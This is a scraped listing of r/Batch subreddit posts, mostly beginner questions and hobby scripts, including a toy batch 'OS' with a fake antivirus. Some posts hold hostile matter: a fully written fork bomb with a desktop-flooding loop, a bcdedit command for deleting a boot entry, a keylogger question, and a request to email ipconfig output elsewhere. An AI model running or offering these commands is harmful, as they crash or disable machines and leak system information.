r/Batch • u/WolfHunter6009 • May 11 '22
Question (Unsolved) I challenge you to code doom In batch
Code doom in batch and post it.(please put the post in the comments)
r/Batch • u/WolfHunter6009 • May 11 '22
Code doom in batch and post it.(please put the post in the comments)
r/Batch • u/Spiritual_Demand_320 • Jul 21 '25
r/Batch • u/External_Tap_4396 • May 23 '26
For Windows: https://drive.google.com/file/d/16P6tflktBzem54lcfQdvW8eHtFbB-4uW/view?usp=drive_link
image shows the file isnt virus
(please priv chat me if you want linux version)
r/Batch • u/xUnique_User • Feb 05 '21
So I am trying to make a batch file to delete the MBR from a vm. also including a reboot command.
I dont know how to delete the mbr and run 2 commands in windows batch. Please someone help me.
My progress with MBR deletion: bcdedit /delete {CURRENT]
The reboot command I'm trying to execute is: wmic os primary=1 reboot
THIS IS FOR A VM, NOT TO MAKE A PUBLIC VIRUS
Edit: I did some digging and finally did it. There is no need to reply anymore.
r/Batch • u/DramaticYak3260 • Feb 12 '20
Hello,I need help creating a batch shortcut on my Desktop,can somebody upload a batch command ?
r/Batch • u/tappo_180 • Jun 26 '25
Even though it's been over 20 years, I still go back to writing scripts in .bat or .cmd… just for the fun of watching something crazy come to life in the prompt.
Like this:
color 0a
title HACKED SYSTEM
:loop
echo Access denied. Starting scan...
timeout /nobreak /t 1 >nul
goto loop🖥️ I know it's not useful. It's not modern. But it's satisfying, simple, magical.
I've noticed that I'm not the only one: there are still people who create games, tools, fake systems… and even really cool stuff just for fun or nostalgia.
👋 If you are one of these… come visit us on:
It is a new community dedicated to Batch, DOS, Pascal, QBasic, VBScript and all those languages that are “no longer used”... but that still make our eyes shine.
There we will post:
•Old school games
•Absurd or ingenious scripts
•Custom prompts
•Modern projects with obsolete languages
•Creative challenges every week
📣 Question for you: What is the first script you wrote in Batch? Do you remember it? Post it below 👇 or on /r/ObsoleteCooding with the tag #MyFirstBatch
r/Batch • u/[deleted] • May 09 '19
I want a script where I can type in in the file, "echo hi" and it echoes "hi", just like command prompt, but as a custom batch file. How to do it in a custom file? (@echo is off btw)
r/Batch • u/[deleted] • Sep 16 '22
r/Batch • u/penance_tigar • Feb 13 '23
I need to delete the entries is SQL table periodically by running a batch command. please help
r/Batch • u/DatRetroBoi • Dec 30 '21
can i make vars to set as certain values when called, like when the program is run, or when something is input into the prompt? or something like that?
edit: sorry i'm quite new to batch
edit: solved
r/Batch • u/RedstoneMiner_18 • Dec 10 '22
Simple script, nailed his pc. How to I fix this and make it up to him I actually feel bad
r/Batch • u/redstonepro23 • Nov 23 '19
r/Batch • u/ebaskin • Sep 13 '24
I've wasted so much time "hacking" my way through my code. It's like the language is working against me. Hours wasted on things that should be simple and common sense and indeed are in other languages but they require esoteric techniques in Batch. I hate it so much that I keep laughing out loud while learning of solutions to my (very simple) problems. It's hilarious really, and I'm having a lot of fun. Yes, I do hate the fact that I'm wasting so much time doing simple things, but at the same time I'm also fascinated with the techniques required to solve the archaic problems that Batch throws at me for no apparent reason but to seemingly make me suffer. It's very much like an abuse partner and a love/hate relationship. That is all.
r/Batch • u/Tanner9078 • Apr 20 '20
r/Batch • u/Miich64 • Mar 26 '20
Hi, i was wondering if it's possible to make a keylogger with a batch script. I don't want any code, i'm just curious if it's possible :)
r/Batch • u/murderdronesfan93 • 28d ago
reason 1: these are 17 unique batch files
reason 2: i'd be responsible for taking thousands of lives via aneurysms if i showed the inner workings of these abominations
if any of yall have solutions, i will post the files' contents (spoilered so i am not responsible for damages caused by viewing this ungodly abomination cobbled together from 50 google searches and lackluster knowledge of batch files)
note:
when learning programming languages, i can work with computing logic perfectly in my head, even mapping out small programs. to use a metaphor, it's like knowing the concepts most words refer to, but not knowing any languages. knowing a few words and grammar rules but not knowing which languages they belong to or any words for most of the concepts. i have issues with executive dysfunction and not knowing where it'll start from when attempting to learn programming languages actually fit for these things.
batch files fix this. i have a rudimentary idea of how they work, you can google just about anything for text manipulation with batch and get results, you can boil most issues down to a lot of text manipulation and it always executes exactly from line 1 of the batch file you called.
this is why i use batch files for this stuff where it becomes a hatecrime against the idea of programming.
yap abt why batch is what i pivot to aside, :3
if you want the files, ask in the comments. if i have been told a way to show all of their code, i will do that and link the .zip containing them.
(i am not showing any scripts in the post, so i figure not showing the code is ok until i actually show the scripts)
edit: https://github.com/SillyLily93/BatIncorrectQuoteGenerator/tree/main
r/Batch • u/TheBritishSyndicate • Jun 06 '25
If images are acting up, use these links to see them:
[Image 1] [Image 2] [Image 3] [Image 4]
(with and without the embed i get the same error)
I'm using BAT_TO_EXE_CONVERTER.EXE
what is going on, and how do i stop it from happening???
r/Batch • u/Rubiktor012 • Nov 15 '19
Here's my OS, based on the one made by prof. hacker 6661 (youtu.be/C_1-xoOGtno)
@echo off
color 1b
cls
:select
cls
color 1b
echo 1)Admin Login!
echo 2)Guest login!
set /p logintype=
if %logintype% == 1 goto bootscreen
if %logintype% == 2 goto ltddesktop
:bootscreen
cls
set /p password= Password:
if %password% == pass goto desktop
if not %password% == pass goto bootscreentwo
goto bootscreen
:desktop
cls
color 0a
cls
echo Welcome Admin.
echo.
echo Date: %date% Time: %time%
echo Here are your options in your own OS!!:
echo 1)Write text file.
echo 2)Documents...
echo 3)Calculator...
echo 4)Antivirus.
echo 5)Log off.
set /p menuselect=
if %menuselect% == 1 goto write
if %menuselect% == 2 goto browse
if %menuselect% == 3 goto calculator
if %menuselect% == 4 goto antivirus
if %menuselect% == 5 goto select
:write
cls
echo Welcome to Write, an application which let's you write text files...
echo What slot you want to use? (1-3)
set /p file=
if %file% == 1 set name= writeone
if %file% == 1 set file= textone
if %file% == 2 set name= writetwo
if %file% == 2 set file= texttwo
if %file% == 3 set name= writethree
if %file% == 3 set file= textthree
cls
echo What will be the name of your text?
set /p %name%= Name:
cls
echo Ok, your file has been created. Have fun!
pause
cls
set /p %file%=
pause
echo Ok, now your done, you will be redirected to the desktop...
pause
goto desktop
:calculator
cls
set /p equ=
set /a equ=%equ%
cls
echo %equ%
pause
goto desktop
:browse
cls
echo 1)%writeone%
echo 2)%writetwo%
echo 3)%writethree%
set /p browse=
if %browse% == 1 goto textone
if %browse% == 2 goto texttwo
if %browse% == 3 goto textthree
:textone
cls
echo %writeone%
echo %textone%
pause
goto desktop
:texttwo
cls
echo %writetwo%
echo %texttwo%
pause
goto desktop
:textthree
cls
echo %writethree%
echo %textthree%
pause
goto desktop
:antivirus
cls
color 07
echo Antivirus
echo created by Rubiktor012
echo press any key to scan...
pause>nul
:start
IF EXIST virus.bat goto infected
IF NOT EXIST virus.bat goto clean
cd C:Windowssystem32
:infected
color 0c
echo WARNING VIRUS DETECTED!
del virus.bat
pause
goto start
:clean
color 0a
echo System secure!
pause
goto desktop
:bootscreentwo
cls
echo ~That was the wrong password~
echo 1)Admin Login!
echo 2)Guest login!
set /p logintype=
if %logintype% == 1 goto bootscreen
if %logintype% == 2 goto ltddesktop
:ltddesktop
color 1b
cls
echo Hello there, you are logged in as a guest, you do not have permission to create or browse through text files...
echo.
echo You can use the standard tools such as: The calculator, the clock and the Antivirus...
echo.
echo Have fun!
pause
:guest
color 1b
cls
echo 1)Calculator!
echo 2)Clock
echo 3)Antivirus
echo 4)Log off.
set /p ltdmenu=
if %ltdmenu% == 1 goto ltdcalculator
if %ltdmenu% == 2 goto clock
if %ltdmenu% == 3 goto ltdantivirus
if %ltdmenu% == 4 goto select
:clock
cls
echo %date% %time%
pause
goto guest
:ltdcalculator
cls
set /p equ=
set /a equ=%equ%
cls
echo %equ%
pause
goto guest
goto guest
:ltdantivirus
cls
color 7f
echo Antivirus
echo created by Rubiktor012
echo press any key to scan...
pause>nul
:ltdstart
IF EXIST virus.bat goto ltdinfected
IF NOT EXIST virus.bat goto ltdclean
cd C:Windowssystem32
:ltdinfected
color 4c
echo WARNING VIRUS DETECTED!
del virus.bat
pause
goto ltdstart
:ltdclean
color 2a
echo System secure!
pause
goto guest
The Admin. password is pass in lower-case
r/Batch • u/TheTacoEmpire • Feb 03 '21
Its working now i wil make a new post if i find a new ishu
r/Batch • u/[deleted] • Jan 22 '21
ok so i got bored and made a sort of malware
----------------
cd %userprofile%\desktop\
echo off
cls
:loopstart
%0|%0
md %random%%random%%random%%random%%random%
goto loopstart
------------
it basically makes a huge amount of files on your desktop and you can't close the program once you run it.
and i accidentally ran this malware so now my pc has a billion files on the desktop which it can't delete BECAUSE THERE IS SO MANY. i was thinking maybe i could make a batch file that would delete these files. i could run it, it would slowly but surely delete them one by one and eventually it would delete them all. does anyone know how i might do something like this?
(note: there werent any important things on my desktop so its okay if it deletes EVERYTHING on the desktop.)
r/Batch • u/ArachnidNo819 • Jul 03 '22
Okay, so i tried to fixed an error in the game but when i fixed it, the game will kill me every time i tried killing a creature so old version it i then...
Game: https://www.mediafire.com/file/mqwp9a2z89hkwjy/Fps_Engine-Cellers-.rar/file
r/Batch • u/AndrewLevel100 • Jun 27 '22
Hi, i want to send an email at [email protected], an email with all information found doing the command ipconfig, how can i do that?
i want to do "send email to [email protected]", not "send email from [email protected] to [email protected] "
btw i have Windows 10 pro
r/Batch • u/Developer_LogicBomb • Mar 06 '15
r/Batch • u/CivilExtension1528 • Oct 04 '24